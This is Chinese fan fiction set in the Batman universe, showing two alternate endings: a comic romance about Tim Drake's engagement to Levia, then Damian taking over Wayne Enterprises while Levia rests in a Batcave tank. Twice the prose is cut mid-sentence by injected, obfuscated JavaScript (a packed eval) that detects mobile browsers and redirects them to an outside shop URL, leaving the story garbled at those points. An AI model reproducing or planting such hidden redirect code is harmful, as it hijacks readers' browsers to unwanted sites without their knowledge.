《小零食堆积地》 3. 结局3 1. 在某个大雪纷飞的冬日，德雷克夫妇终于出现在了媒体前，正式宣布他们将启动环球旅行计划——公司归提摩西·德雷克管理。 坐在父母身旁的德雷克小总裁笑得温良恭顺，偶尔点点头，无声地赞同父母的话语。考虑到他的实际年龄，这个孩子简直乖巧得过分了。 不过他手底下的员工倒是没什么想法，小德雷克刚上任时他们是担忧的，可没过多久，当某位员工在凌晨三点误把定时邮件提前发给了总裁，而总裁在五分钟内就发来了回复并提醒她早睡后，员工们终于释然了。 这位总裁成功做到了一手抓学习，一手抓工作，一手抓日常生活（经常有狗仔拍到他带着礼物去韦恩庄园做客），除了很容易让人怀疑他每天到底睡不睡觉，小德雷克完全是世俗意义上的好孩子。 ——说来奇怪，好像没什么人关注他的感情生活。 要知道韦恩吻一下某位女士的手背都能挂到头条，花边小报怀疑勒维娅天天在韦恩庄园里开某种不能细说的派对，格雷森和卡珊德拉因为跑去了别的城市逃过一劫，陶德……陶德每天上完课就没了人影。 达米安年纪太小，暂时还没人敢揣测他的感情生活，不过有小道消息说他喜欢看少女漫画。 作为对比，小德雷克这边平静的过分了，谁都不明白狗仔对他的兴趣为什么这么诡异的低。 总之，哥谭依旧在正常运转，人们都有自己的事要做，他们忙着学习、上班、挣钱，所以没人会对小德雷克的感情生活追根究底。 2. 提摩西·德雷克经常溜去韦恩庄园并不是个秘密——德雷克和韦恩住得还挺近的，从财富和事业方面来看，他们的交往多半是以利益为主，偶尔掺点感情进去。 他刚当上德雷克集团的总裁时，还有人拍到过他和布鲁斯在冰山餐厅吃晚饭的照片，这两人相处起来居然有种古怪的和谐感，小报们称这是因为‘小德雷克拥有与年龄不相符的成熟气质’而‘布鲁西甜心一如既往的活泼貌美’。 当然，有人坚称他们有更加私密的往来，可这个猜测太过缥缈，以至于根本掀不起什么水花。 在勒维娅这个王太女回归，并接手了韦恩集团后，经常有人拍到她和小德雷克在不同餐厅里约饭的照片。 小德雷克总裁的无花边新闻的记录看似即将被打破，可最终发出的报道的画风却奇怪了起来——小报们表示这是勒维娅对达米安的示威，表明她仍然是韦恩指定的继承人，而比起姗姗入场的达米安，德雷克集团更支持勒维娅这个继承人。 烛光晚餐爆改豪门风云，小报们收获了销量和浏览量，小德雷克保持了无花边新闻的记录，勒维娅的地位（？）再一次被稳固，于是每个人似乎都很开心。 又过了几个星期，小德雷克和勒维娅跳舞的照片出现在了某个专栏的角落里。 这张照片抓拍得很完美，提摩西带着笑意望着自己的舞伴，水晶反射出的柔光洒在他的面颊上，让他看起来更接近一个正在读大学的年轻人，而不是让人挑不出错的完美总裁。 柔情的眼神，恰到好处的氛围，两位主人物的颜值也很能打——当小德雷克总裁的秘书看到时，她真的为上司捏了把汗。 看起来，提摩西·德雷克这次是真的逃不过一场绯闻了。 于是秘书发力了。 在一夜奋战后，第二天的早间报纸上果然没出现任何有关她上司的绯闻，秘书不由得洋洋得意了一下——她能一路升到秘书的位置，肯定也有两把刷子。 ——像小德雷克这样给钱给得很大方，不刁难下属，兢兢业业工作的总裁很难得。 她还记得勒维娅没接手韦恩集团时，可怜的卢修斯要么被布鲁西甜心放鸽子，要么布鲁西甜心来是来了但在会议厅里睡得天昏地暗，要么记者会采访到一半时布鲁西甜心突然出逃。种种恶行让各大打工人颇为心疼头发越来越少的卢修斯，也让秘书认为自己绝不能失去这份工作。 千万不能让谣言影响到德雷克集团和她老板。 她推开总裁办公室的门时，总裁正坐在椅子里沉思，听见了她平底鞋的声音，小德雷克抬起那双亮蓝色的眼睛，用欲言又止的眼神扫了一遍自己的秘书。 秘书觉得自己完全理解了上司的想法，于是她对沉默的上司比了个大拇指，心里莫名涌现出了某种荣誉感。 “老板，”她坚定地说，“您放心吧！我会全力协助您的！” 提摩西闭上了眼睛：“……昨天我要的方案你已经检查好了吗？” “和韦恩集团的那个？”秘书回忆了一下内容，开始在电脑里翻翻找找，“初步检查已经完成了，不过有几条还需要修改一下，您要现在看吗？” “发过来就行，”上司在工作效率方面比谁都卷，“对了，你怎么看待这次合作？” 秘书谨慎地停下了摁鼠标的手。 她老板是什么意思？秘书想，德雷克和韦恩并不是第一次合作了，为什么现在却问出了这个问题？难道合同有异样？难道这是对下属的一场临时测试？难道这话里有什么她没能悟到的隐藏含义…… “别多想，”总裁似乎看出了她的犹豫，“我只是想听听别人的意见——”他垂下眼，拨弄起中指上的戒指。 那枚戒指的款式很简洁，也没顶着一颗鸽子蛋，于是秘书自然而然地将所有的注意力都投到了上司的话里。 “有关于什么的意见？”秘书问道。 “关于……”总裁的脸上浮现出几分羞涩和腼腆，“我和勒维娅。” 秘书思考了一下：“您是想问您和她的公益合作，对吧？” 老板不说话了。 3. 在一通严肃的分析过后，小德雷克总裁客气地请他的秘书去倒两杯咖啡，顺便给她留出了比往日更长的午休时间。 “以及，”他微笑道，“那张舞会上的照片是我授意的。” 4. 秘书是在喝掉自己那杯咖啡后恍然大悟的。 “不对！”她不由得叫出了声，“我不该那么做的！” 和她共进午餐的男友叼着一片黄瓜疑惑地看向了她。 “这次的合作偏向公益，所以需要在宣传上下更大的功夫。”秘书嘴里念念有词，“不愧是老板……那张照片其实可以作为营销手段，在花边新闻吸引到注意后抛出公益合作的活动，这样不但洗清了绯闻嫌疑，还给活动添了热度！” 老板所作所为，果然大有深意！ 而在几天后的小型商讨会上，勒维娅本人居然亲自到了现场（对不起但布鲁斯的罢工和不靠谱真的给太多人留下了印象），她微笑着走到秘书面前，和她握了握手。 “玛姬，对吧？”勒维娅轻轻瞥过秘书别在胸前的名牌，“工作辛苦了。” “我应该做的，”秘书小心翼翼地回答道，“德雷克先生在那边……啊，他过来了。” 她的老板迅速地走了过来——考虑到勒维娅是重要的合作伙伴，老板隐藏在动作里的期待似乎就很好理解了——两个事业都处在如日中天阶段的总裁礼貌地向彼此示意，在宾客们隐蔽的打量中开始了必要的聊天。 和秘书想象的不同，他们的话题和工作完全无关。勒维娅表示上次那家餐厅的奶油蘑菇汤很好喝，老板立刻接话，说他也是这么认为的，就是面煮得有些太软了。 我觉得还好，勒维娅说，不过沙拉有点难吃。 可能是柠檬汁加多了，老板又开始拨弄套在他中指上的圆环，那我们换一家？冰山餐厅怎么样？ 勒维娅的表情有些微妙。 ……冰山餐厅怎么了？秘书疑惑地想，她听闻那家餐厅的老板换成了红头罩，难道这位总裁在担心安全问题吗？ “我再想想吧。”勒维娅说，“先走了，韦恩集团那边一会儿还有个剪彩仪式要赶。” 小德雷克总裁和她握了握手，表情很是放松：“那今晚庄园见。” 勒维娅突然咳嗽了一声：“……注意影响。” 5. 基于这段对话，当商讨会结束后，秘书觉得自己预判到了接下来的发展。 “我送您去韦恩庄园？”她给自己系好安全带，转过头去问倒在后座上的老板。 和有专属司机的勒维娅不同，提摩西一般会坚持自己开车，只不过今天他不仅喝了酒，好像还有些喝醉了，才让自己的秘书代为开车。 “不，”老板的声音有些困倦，“回德雷克庄园就行……” 秘书耸了耸肩，看起来老板要放勒维娅小姐鸽子了，不过两家住得这么近，明天早上老板自己去韦恩庄园道歉也行，而她——反正她往哪个庄园开都能拿到加班费。 再说了，虽然没喝几杯，可老板看起来真的很醉……醉成这样去做客也不太好。 秘书就是抱着这样的心情将车开到了德雷克庄园的大门前，并思考起究竟是把老板叫醒，还是把老板拖进屋子里。 就在她思考时，那栋格外温馨的别墅门突然开了，秘书瞪大眼睛，看见几小时前还在和老板聊吃什么的勒维娅走了出来。 她老板在此刻猛地弹了起来，原本迷茫的神色在看见自己的秘书和勒维娅后，立刻从迷茫变成了四分惊慌，三分不安，二分腼腆和一分羞涩。 “天呐，”提摩西慌乱地说，“玛姬！听我说！我——她——” 红晕从他的耳尖蔓延到面颊上，显然心慌意乱的总裁用诚恳的眼神望着自己的秘书，显然想从她这里获得一点支持。 “提姆？”勒维娅面露疑惑地敲了敲车窗，声音隔着薄薄的玻璃传进了车内，“啊，还有玛姬，晚上好。” “晚上好，小姐。”玛姬感觉自己完全是凭借着DNA里的秘书本能在行动，她迅速下了车，和韦恩集团的总裁握手，拉开后座的门，将喝醉的自家总裁给扛了出来。 “让我来就好，”勒维娅说，“已经很晚了，你快点回家吧——路上小心。” 提摩西比她高出小半头，可当提摩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13976877|148059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西整个人都歪在她身上时，勒维娅表现得毫不吃力——宛如青年只是看似趴在了她的肩头，实则正在用核心力量撑着自己的身体。 “玛姬，”看起来弱小又无助的小德雷克总裁说，“我们的关系不是你想的那样……你不要多想……” 他那双亮蓝色的眼睛闪烁着水润的光，慌乱地想要辩解，却什么都说不出来。 于是秘书感到那股荣誉感回到了她的胸膛里。 “请您放心！”她大声地说，“我完全没有误解两位的关系！” 老板似乎被她坚定的姿态镇住了，整个人都顿了顿。 “两位真的为哥谭的公益和慈善项目付出了很多，”秘书难言激动地说，“我知道合同里还有很多需要仔细考虑的条款，后续的计划和对设施的处理也是个问题——私下会面绝对是最保险的选项！我完全理解两位的选择！” 她昂扬的声音在修剪整齐的草坪上方回荡，盘旋，飘舞，像是被风吹起的蒲公英种子。 勒维娅轻笑起来，她捏了捏提摩西腰间的肉，语气很是欢快。 “快谢谢玛姬，”她说，“她是个多么体贴的秘书呀。” 玛姬突然注意到勒维娅的中指上也有一枚戒指。 不仅有，看起来还很眼熟……可玛姬实在想不起来她在哪里见过这个款式的戒指了。 老板艰难地笑了笑：“……辛苦了，玛姬，加班费一会儿就发给你。” 作为秘书，她就很想劝一下老板明天再发加班费也没关系，毕竟他今天都醉成这样了，首要任务是休息才对。 可她最后只是敬畏地点了点头：“您也辛苦了。” 6. 又一场记者会。 毫无新意，毫无特殊之处，小德雷克总裁坐在噼里啪啦响的闪光灯前，表情是一如既往的温和，与路过却被闪成了表情包的实习生形成了鲜明对比。 他流畅地回答着记者们的问题，偶尔抛出几个缓解气氛的笑话，引得场下发出一片友善的哄笑声。 在几轮提问后，他看似不经意地支起手，将垂落的发丝拨回到耳后——一个很自然的动作。 可那枚简朴过头的戒指在这一瞬间反射的光芒足以吸引所有人的注意力，但记者们犹豫地你看我我看你，谁都不太敢当那个出头鸟。 “怎么了？”小德雷克总裁疑惑地转向距离他最近的记者。 那名记者立刻感到如芒在背，她在同行们的视线中站了起来，清了清嗓子：“德雷克先生，请问您手上的戒指的含义是……？” 提摩西宛如此刻才意识到他中指上还有枚戒指似的，连忙将支起的手放下了。 “啊，你说这个。”他抿起嘴，“这是我的订婚戒指。” 会场里安静的连针掉在地上的声音都能听见。 “下一个问题。”提摩西说。 “请问订婚对象是谁呢？”一个偏向八卦新闻的记者猛地跳了起来，“两位是怎么认识的？交往了多久？订婚代表着你们还在犹豫是否迈入婚姻吗——” “我想我得询问一下她的意见，”这位年轻的总裁垂下眼，露出几分不好意思的神色，“毕竟这属于私人事务，我个人其实也没准备这么突然宣布订婚的消息……可意外总是令人措手不及。” 他显然坠进了爱河——这个表现令有些记者激动到恨不得现在就跑出会场，尽可能快地将消息发给写稿的同事。 “那么，”提摩西说，“今天的记者会到此为止，感谢各位的参与。” 7. 小德雷克的订婚对象是勒维娅。 韦恩集团对此铺天盖地的花边新闻没做出任何回应，该上班上班，该开会开会，平静到宣布订婚的根本不是它们的总裁一样。 由于韦恩那边过于安详的态度，新的流言出现了。 商业作秀早已不新鲜了——虽然这两人一个是哥谭顶流的养女，一个虽然不是顶流但也自带话题度的德雷克，看似完全不缺热度——这场订婚很有可能只是表演，再说了，外界围绕着勒维娅的猜测并不少，有些还相当难听。 虽然早知道有些流言会很离谱，但当秘书听见‘提摩西·德雷克被女人玩弄于股掌之中’时还是差点把咖啡从鼻孔里喷出去。 她本人其实认为这场订婚并不像百分百的表演，订婚也很有可能走到真结婚的地步——算是商业联姻的一种。 ……那么问题来了，婚后谁跟谁姓？ 玛姬心里想着事，手上的动作不停，把处理好的文件发到了老板的邮箱里。 本来应该在办公室里和勒维娅聊天的老板没过几分钟就发来了回复，行文利落整洁，让秘书下意识地眯了眯眼睛。 半个小时后，老板笑眯眯地陪着自己的订婚对象出了办公室，坐在不远处的玛姬眼睁睁看着他拉着勒维娅的手，嘴角是毫不掩饰的笑容。 然后她突然悟了。 8. ——提摩西·德雷克，你不愧是年纪轻轻就能当上总裁的男人。 4.结局4 1. 达米安呼出一团白雾。 哥谭今年的冬天格外的冷，人们早早戴上了毛线帽和围巾，今天他走进韦恩塔时，还听见有人在打喷嚏。 哼，连这点温度都扛不住…… 达米安不屑地整理了一下衣领，乘上直通顶层的电梯。 当电梯门分开时，那个坐在总裁办公室外面的秘书抬起头，鬓角的白发隐隐折射出几丝银光——她已经任职很久了。 “早上好，”秘书温和地向他点头，“韦恩先生。” “早上好。”达米安目不斜视地推开办公室大门。 秘书并没有因为今天来的不是她原本的老板而惊讶，毕竟小韦恩代班勒维娅已经不是一天两天的事了……她也很熟悉这位经常被老板带来上班的孩子。 当然，他现在完全不能算是一个孩子了。 记者们惊诧于达米安·韦恩和布鲁斯·韦恩的相似之处（当然不是性格），小韦恩的肤色更深，眉眼也更锋利，可在某些角度看过去时，他简直和年轻时的布鲁西一模一样。 达米安对此表示‘这是理所当然’，不然他为什么姓韦恩。 那时候的勒维娅也在记者会上，她听见这话时用手背轻轻推了一下达米安，像是他小时候对着记者黑脸时，她无声地提醒他要好好说话。 ——说来奇怪，这么多年过去了，无论是从外貌还是性格上来看，她都没什么变化。 围着她的记者换了一批又一批，可从来没人拍到过勒维娅衰老的痕迹……这本该是继风衣版蝙蝠侠的又一怪谈，结果事情发展到最后，韦恩企业的面膜却莫名其妙地翻了好几倍的销量。 不过她似乎在用越来越频繁地和达米安同框的方式暗示着什么。 达米安开始代替她出席一些性质比较微妙的聚会，待在韦恩塔里的时间也越来越多，这让某些已经退休了的老家伙联想到了当年的布鲁斯。 ——哥谭甜心就是通过这种方式让大众认识他属意的继承人的。 这似乎像一个小小的轮回，勒维娅模仿着她养父的行为，默默开始了地位交接。 办公室的门在秘书的注视中合上了。 2. 达米安熟练地坐进办公椅里，翻看起昨天没看完的文件——昨天临时有事，他才没能做完本该完成的任务，啧——毫不客气地驳回了几条申请。 弄完纸质文件，就该处理电子文件了。他打开电脑，迅速浏览了一遍未读邮件，在脑内飞速排列好它们的重要程度。 无趣，达米安冷哼一声，他三小时就能处理好。 如果换成勒维娅坐在这，她处理文件的速度绝对会慢上许多。她看着看着就会溜去喝杯茶，或者和秘书聊会儿天（不过达米安从来不让秘书进办公室），主打一个反正能在下班时间前处理完每日的工作。 拖延，毫无效率。 “那就交给你了，”当他锐评时，勒维娅轻飘飘地说道，“也该轮到你被董事会折磨了。” 不过说真的，当他真的去代开会时，那些人反而没有他想象中的吵闹和愚蠢，更多时候，他们只是用一种谨慎的目光打量着他。 达米安怀疑他们和勒维娅互相折腾得不轻——勒维娅在面对这些人时远没有她面对孩子时的好脾气，按她平时在家的表现来看，开董事会的她近乎可以用锋芒毕露来形容了。 秘书走进来，递给他一沓纸质文件。达米安一边看，一边从第二行的抽屉里拿出签字笔，在纸张上签了名。 他没完全代班时还头疼过一阵子——他放东西的习惯和勒维娅不一样，于是他俩交替上班时经常出现找不到东西的情况。某次上班上到一半伤口渗血的达米安实在找不到绷带，专门给勒维娅打去了电话，结果在她的指示下从饼干罐里掏出了医疗用品。 后来达米安也就慢慢习惯了，直到现在，勒维娅已经不怎么来韦恩塔了。 所以他当然将东西都按自己的喜好来摆了——如果勒维娅某天突然想上班，就让她也体验一下找不到东西的感觉吧。 ……这当然不是报复，他已经长大，不会做出什么幼稚的行为了。 达米安勾起嘴角，心情很好地回复了乔纳森的消息。 3. 达米安对时间的计算向来精准，三个小时过后，他已经走出了办公室，对门外的秘书说了‘下午好’和‘再见’。 在电梯的运行声中，他检查了一下手机和通讯器。 没有新消息。 他在微妙的寂静中坐进车内，踩下油门前不忘系好安全带（他不想承受任何不赞同的目光了）。现任蝙蝠侠卡着超速的极限开出了市区，在通往韦恩庄园的道路上才提高速度，开出了F1赛车的气势。 车内很安静，就像如今有些空落落的韦恩庄园一样——好在当达米安进门时，细碎的哒哒声传了过来，随后，几只毛发泛白的大狗热情地挤在了他的腿边，呼哧呼哧地喘着热气。 王牌最近腿脚不太好，只是趴在它柔软的窝里冲达米安哼唧。 阿尔弗雷德则团在它的肚腹处，身材保持得很好的奶牛猫打了个哈欠，懒洋洋地看着自己的主人摸过一个个狗头，直到大衣上蹭满了小动物的毛发，他才不轻不重地推开热情的大狗们。 达米安换好衣服后给家里的动物们添了饭，还不忘检查一下在花园里溜达的蝙蝠牛的状态——它穿着特制的羽绒服，脑袋上还套着粉色毛线帽，应该不会感冒。 处理完宠物的事情，他熟练地打开了书房的秘密通道。 挂在钟乳石之间的蝙蝠在达米安出现时发出了窸窸窣窣的动静，不过它们很快就平静了下来。 若有若无的水腥气黏附在墙角，在达米安走过时悄悄跟在了他的脚后，飘出了很远的一段距离。 蝙蝠电脑亮起，现任蝙蝠侠检查了一下文件，重新分类，将昨晚夜巡时遇到的新敌人塞进B级文件，还不忘给某些老对手添了些备注……他下手比较狠，这些人一时半会儿绝对出不了ICU。 就在此时，他的余光看见角落的水缸里有什么东西动了动。 趴在玻璃缸旁的提图斯抬起眼，轻巧地为主人让开了道路。 达米安将手搭在玻璃上，看着水里的东西睁开了眼。 “诶呀，”勒维娅说，“你什么时候回来的？” 4. 她的脸还是没什么变化，和达米安第一次见到她时并无区别。 可她半透明的身体却泛着柔和的蓝光，隐隐能看见胸腔部位里的那颗等同于人类心脏的东西。 “我还以为你再过一会儿才能回来呢，”勒维娅动了动，“吓我一跳。” “哼，”达米安看着她烟雾般散开的长发，“我不会在那堆废纸上浪费那么长时间……只有你才会。” “没办法呀，”勒维娅没生气，“谁叫你是达米安·刺客联盟首领之子·多个博士学位拥有者·布鲁斯的亲儿子·奥古的血脉·韦恩呢。” 达米安：“……” 是他的错觉，还是勒维娅最近的话真的多起来了。 “我的秘书怎么样？”勒维娅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14045083|148059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问道，“你没把她开除吧？” “她工作效率还可以，”达米安双手抱胸，“不过她试探着提出过辞职——理由是她的年龄。” 勒维娅轻轻啊了一声。 “所以你什么时候能出来？”达米安说，“你再不出来就和观赏鱼没什么区别了。” “关于这点……”勒维娅动了动，摇曳的水波拍上她的肩膀，“我们不是谈过吗？” 如果勒维娅想的话，她完全可以通过不断更换身体达到某种意义上的‘永生’。 可‘永生’也代表着身体是有使用期限的——勒维娅开玩笑说这也算是寿命到头了——勒维娅目前还没有走到必须更换身体的程度，但她不知为何选择了能让自己超长待机的模式，天天泡海水里，跟个冬眠期的乌龟一样不怎么动。 达米安很疑惑，可他向来在勒维娅面前没什么还手能力——无论是小时候还是现在。 ……唯一能压住勒维娅的老管家不在了。 “对了，”达米安皱眉，“你有没有感觉最近太安静了？” “你昨晚才逮捕了一个炸弹犯，”勒维娅友情提示，“爆炸的动静我都能听见。” 达米安烦躁地摇摇头：“我是指韦恩庄园里太安静了。” 于是勒维娅就不说话了。 5. 说来很奇怪，但达米安真的是突然感觉韦恩庄园里太安静了。 他倒不是像某个很喜欢吵闹的家伙，也不是像某个能用摩托震响半个庄园的家伙——安静有助于他清理思绪，可安静过头就有些不对劲了。 ……动物的数量也没少啊？ 达米安捏着下巴，从腿脚不好的王牌想到戴着毛线帽的蝙蝠牛，又从戴着毛线帽的蝙蝠牛想到立在屋顶守家的蝙蝠鹰（勒维娅第一次听到这个名字时愣了大半天），确认了没有动物失踪。 他回忆时，勒维娅已经将上半身探出了水面，将一只冰冷湿润的手搭在了他的胳膊上。 “达米安？”她轻声问道。 “嗯，”达米安还在思考是不是最近清晨的鸟叫声变少了，“怎么了？” “别难过，”勒维娅的手微微发力，强行拉过了他的注意力，“我就在这里呢。” 她动作时会搅乱玻璃缸里的海水，水流涌动的声音在蝙蝠洞里回荡，打破了那份诡异的宁静。 达米安下意识地环顾四周，扫过空荡荡的蝙蝠洞，和电脑前毫无温度的座椅—— 于是他终于意识到了为什么他会觉得韦恩庄园安静了。 勒维娅依旧在看着他，冰冷的体温顺着手掌一路溜到他的皮肤上，让达米安有点想甩开她。 但他最后还是冷哼一声，将自己的手搭在了她的手背上。 “用不着你来安慰我，”达米安扬了扬下巴，“你还是想想能不能抱着电脑远程办公吧。” “……？” “放心，到时候给你的电脑一定经过严格的防水处理。”达米安笑了起来，“你的秘书，你自己来处理，别把工作都甩到我头上。” 他将勒维娅摁了回去，任由她做出一副惊讶的模样。 “你跟理查德说过会永远陪着他——别这么看我，你知道他一闲下来就喜欢说点有的没的。”达米安大不敬地用指节敲了敲勒维娅的头，“现在将对象换成我，你应该也能做到吧？” 达米安停顿片刻：“……不过你已经在做了吧。” 6. 勒维娅没说话，只是对他温和地笑了笑，半透明的身体依旧散发着柔和的莹蓝色光芒。